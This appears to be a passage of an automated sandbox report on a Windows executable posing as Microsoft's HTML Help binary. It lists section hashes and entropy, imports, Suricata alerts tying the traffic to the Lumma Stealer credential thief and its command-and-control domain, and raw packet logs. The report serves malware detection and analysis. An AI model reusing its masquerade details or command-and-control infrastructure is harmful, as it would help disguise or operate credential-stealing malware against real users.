IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb7a2e	0xb7c00	95b7b1836694c92f6874e40f5216f1fb	False	0.514859693877551	data	7.049880263957565	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb9000	0x101cc	0x10200	9461490fcd9fdc1d1fb916349bae1ce3	False	0.4074309593023256	OpenPGP Secret Key Version 6	4.8837328659943715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xca000	0x5ad8	0x2400	eeed9b9b3929e95e2f9accf23ca9bb80	False	0.1616753472222222	data	3.921203399253688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xd0000	0x31ec	0x3200	6cbba02ee6fcebeda3c818e974065395	False	0.50171875	data	5.792295577943378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.B5	0xd4000	0x3229	0x3400	75cda5ec0badb9868a9b1af833ca345b	False	0.5454477163461539	data	6.940675920308152	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.gxfg	0xd8000	0x1c70	0x1e00	e1645edf2fc209056c11ba2648aac183	False	0.41692708333333334	data	4.978526138512825	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.retplne	0xda000	0x8c	0x200	8c950f651287cbc1296bcb4e8cd7e990	False	0.126953125	data	1.050583247971927
.tls	0xdb000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0xdc000	0x1f4	0x200	4c3192380a3877e08356b066c9690811	False	0.541015625	data	4.232091808468937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xdd000	0xaa0	0xc00	c0d3f84af9e48e1df863556f22715610	False	0.4775390625	data	5.201784219915228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.jss	0xde000	0x56e00	0x56e00	bd70ac92ecd7766c044c18639e6beb86	False	1.0003259892086331	data	7.999496214403847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.jss	0x135000	0x56e00	0x56e00	bd70ac92ecd7766c044c18639e6beb86	False	1.0003259892086331	data	7.999496214403847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18c000	0x7cb	0x800	f635ea042fd2036c44cd7e7f38cfd43e	False	0.4345703125	data	4.563754337342242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x18c0a0	0x364	data	English	United States	0.4608294930875576
RT_MANIFEST	0x18c404	0x3c7	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.46328852119958636

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CreateFileA, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlsAlloc, FlsFree, FlsGetValue, FlsSetValue, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlCaptureContext, RtlLookupFunctionEntry, RtlPcToFileHeader, RtlUnwind, RtlUnwindEx, RtlVirtualUnwind, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, Sleep, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Version Infos

Description	Data
CompanyName	Microsoft Corporation
FileDescription	Microsoft HTML Help Executable
FileVersion	10.0.19041.1 (WinBuild.160101.0800)
InternalName	HH 1.41
LegalCopyright	Microsoft Corporation. All rights reserved.
OriginalFilename	HH.exe
ProductName	HTML Help
ProductVersion	10.0.19041.1
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-15T17:56:38.863104+0200	2061405	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zestmodp .top)	1	192.168.2.5	52140	1.1.1.1	53	UDP
2025-04-15T17:56:39.236422+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49692	104.21.112.1	443	TCP
2025-04-15T17:56:39.236422+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49692	104.21.112.1	443	TCP
2025-04-15T17:56:40.893756+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49693	104.21.112.1	443	TCP
2025-04-15T17:56:40.893756+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49693	104.21.112.1	443	TCP
2025-04-15T17:56:42.135143+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49694	104.21.112.1	443	TCP
2025-04-15T17:56:42.135143+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49694	104.21.112.1	443	TCP
2025-04-15T17:56:43.391961+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49695	104.21.112.1	443	TCP
2025-04-15T17:56:43.391961+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49695	104.21.112.1	443	TCP
2025-04-15T17:56:46.402842+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49696	104.21.112.1	443	TCP
2025-04-15T17:56:46.402842+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49696	104.21.112.1	443	TCP
2025-04-15T17:56:47.548092+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49697	104.21.112.1	443	TCP
2025-04-15T17:56:47.548092+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49697	104.21.112.1	443	TCP
2025-04-15T17:56:49.634005+0200	2061406	ET MALWARE Observed Win32/Lumma Stealer Related Domain (zestmodp .top in TLS SNI)	1	192.168.2.5	49699	104.21.112.1	443	TCP
2025-04-15T17:56:49.634005+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49699	104.21.112.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 17:56:28.587171078 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:28.893026114 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:29.502435923 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:29.518093109 CEST	49672	443	192.168.2.5	204.79.197.203
Apr 15, 2025 17:56:30.705553055 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:32.194880009 CEST	49691	80	192.168.2.5	172.253.124.94
Apr 15, 2025 17:56:32.302314997 CEST	80	49691	172.253.124.94	192.168.2.5
Apr 15, 2025 17:56:32.302397013 CEST	49691	80	192.168.2.5	172.253.124.94
Apr 15, 2025 17:56:32.302510977 CEST	49691	80	192.168.2.5	172.253.124.94
Apr 15, 2025 17:56:32.408955097 CEST	80	49691	172.253.124.94	192.168.2.5
Apr 15, 2025 17:56:32.409344912 CEST	80	49691	172.253.124.94	192.168.2.5
Apr 15, 2025 17:56:32.455672026 CEST	49691	80	192.168.2.5	172.253.124.94
Apr 15, 2025 17:56:33.111825943 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:37.925626040 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:38.980427027 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:38.980479956 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:38.980581045 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:38.982062101 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:38.982078075 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.127506018 CEST	49672	443	192.168.2.5	204.79.197.203
Apr 15, 2025 17:56:39.236300945 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.236422062 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.241324902 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.241333961 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.241620064 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.283762932 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.295912027 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.295928955 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.295988083 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883656979 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883709908 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883738041 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883765936 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883794069 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883824110 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883836031 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.883861065 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883877039 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.883896112 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.883933067 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.883939028 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.884452105 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.884493113 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.884500027 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.884515047 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.884551048 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:39.884558916 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:39.924460888 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.029274940 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029479980 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029527903 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.029545069 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029632092 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029680014 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.029686928 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029825926 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029867887 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.029874086 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.029970884 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030014038 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.030019999 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030294895 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030342102 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.030349016 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030447960 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030492067 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.030498028 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030606031 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030651093 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.030657053 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030762911 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.030812979 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.034904003 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.034924984 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.034939051 CEST	49692	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.034945011 CEST	443	49692	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.642960072 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.643001080 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.643174887 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.643627882 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.643642902 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.893640995 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.893755913 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.895674944 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.895700932 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.895932913 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.897448063 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.897578955 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.897610903 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:40.897682905 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:40.944269896 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:41.554346085 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:41.554662943 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:41.554790020 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:41.555408001 CEST	49693	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:41.555423975 CEST	443	49693	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:41.873224020 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:41.873269081 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:41.873421907 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:41.873724937 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:41.873737097 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.134968996 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.135143042 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.136706114 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.136712074 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.137667894 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.138935089 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.139067888 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.139111996 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.139206886 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.180314064 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.919852018 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.920034885 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:42.920170069 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.920247078 CEST	49694	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:42.920269012 CEST	443	49694	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.127948046 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.128012896 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.128093958 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.128500938 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.128518105 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.391854048 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.391961098 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.393469095 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.393481016 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.393811941 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.395078897 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.395205975 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.395240068 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:43.395282984 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.395307064 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:43.395318031 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:44.682580948 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:44.682728052 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:44.682843924 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:44.683162928 CEST	49695	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:44.683180094 CEST	443	49695	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.150789022 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.150830984 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.150955915 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.151350021 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.151360989 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.402647018 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.402842045 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.404508114 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.404520035 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.404771090 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.406246901 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.406367064 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.406392097 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.980950117 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.981225014 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:46.981308937 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.983359098 CEST	49696	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:46.983382940 CEST	443	49696	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.288331032 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.288384914 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.288486958 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.288861990 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.288882971 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.533857107 CEST	49676	443	192.168.2.5	20.189.173.14
Apr 15, 2025 17:56:47.547996998 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.548091888 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.550770998 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.550785065 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.551153898 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.552568913 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.553250074 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.553354025 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.553438902 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.553478956 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.553579092 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.553689003 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.553812981 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.553843975 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.553988934 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554019928 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.554142952 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554172039 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.554182053 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554199934 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.554249048 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554260969 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.554342031 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554368019 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.554388046 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554414034 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554425955 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.554514885 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.596277952 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:47.596581936 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.596645117 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.596666098 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:47.644268990 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.356161118 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.356306076 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.356355906 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.356615067 CEST	49697	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.356632948 CEST	443	49697	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.371469021 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.371509075 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.371592999 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.372113943 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.372131109 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.633852959 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.634005070 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.635519981 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.635535955 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.635776043 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:49.637099981 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.637129068 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:49.637173891 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:50.117698908 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:50.117780924 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:50.117831945 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:50.118318081 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:50.118334055 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:50.118349075 CEST	49699	443	192.168.2.5	104.21.112.1
Apr 15, 2025 17:56:50.118355036 CEST	443	49699	104.21.112.1	192.168.2.5
Apr 15, 2025 17:56:50.798979998 CEST	49675	443	192.168.2.5	2.23.227.208
Apr 15, 2025 17:56:50.799026966 CEST	443	49675	2.23.227.208	192.168.2.5
Apr 15, 2025 17:56:51.100666046 CEST	49700	443	192.168.2.5	150.171.27.254
Apr 15, 2025 17:56:51.100732088 CEST	443	49700	150.171.27.254	192.168.2.5
Apr 15, 2025 17:56:51.100826979 CEST	49700	443	192.168.2.5	150.171.27.254
Apr 15, 2025 17:56:51.116003990 CEST	49700	443	192.168.2.5	150.171.27.254
Apr 15, 2025 17:56:51.116024017 CEST	443	49700	150.171.27.254	192.168.2.5
Apr 15, 2025 17:56:51.460371971 CEST	443	49700	150.171.27.254	192.168.2.5
Apr 15, 2025 17:56:51.460457087 CEST	49700	443	192.168.2.5	150.171.27.254
Apr 15, 2025 17:57:32.643848896 CEST	49691	80	192.168.2.5	172.253.124.94
Apr 15, 2025 17:57:32.775161028 CEST	80	49691	172.253.124.94	192.168.2.5
Apr 15, 2025 17:57:32.775310993 CEST	49691	80	192.168.2.5	172.253.124.94

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 17:56:32.077457905 CEST	63793	53	192.168.2.5	1.1.1.1
Apr 15, 2025 17:56:32.185112953 CEST	53	63793	1.1.1.1	192.168.2.5
Apr 15, 2025 17:56:38.863104105 CEST	52140	53	192.168.2.5	1.1.1.1
Apr 15, 2025 17:56:38.973393917 CEST	53	52140	1.1.1.1	192.168.2.5
Apr 15, 2025 17:56:50.800673962 CEST	51619	53	192.168.2.5	1.1.1.1
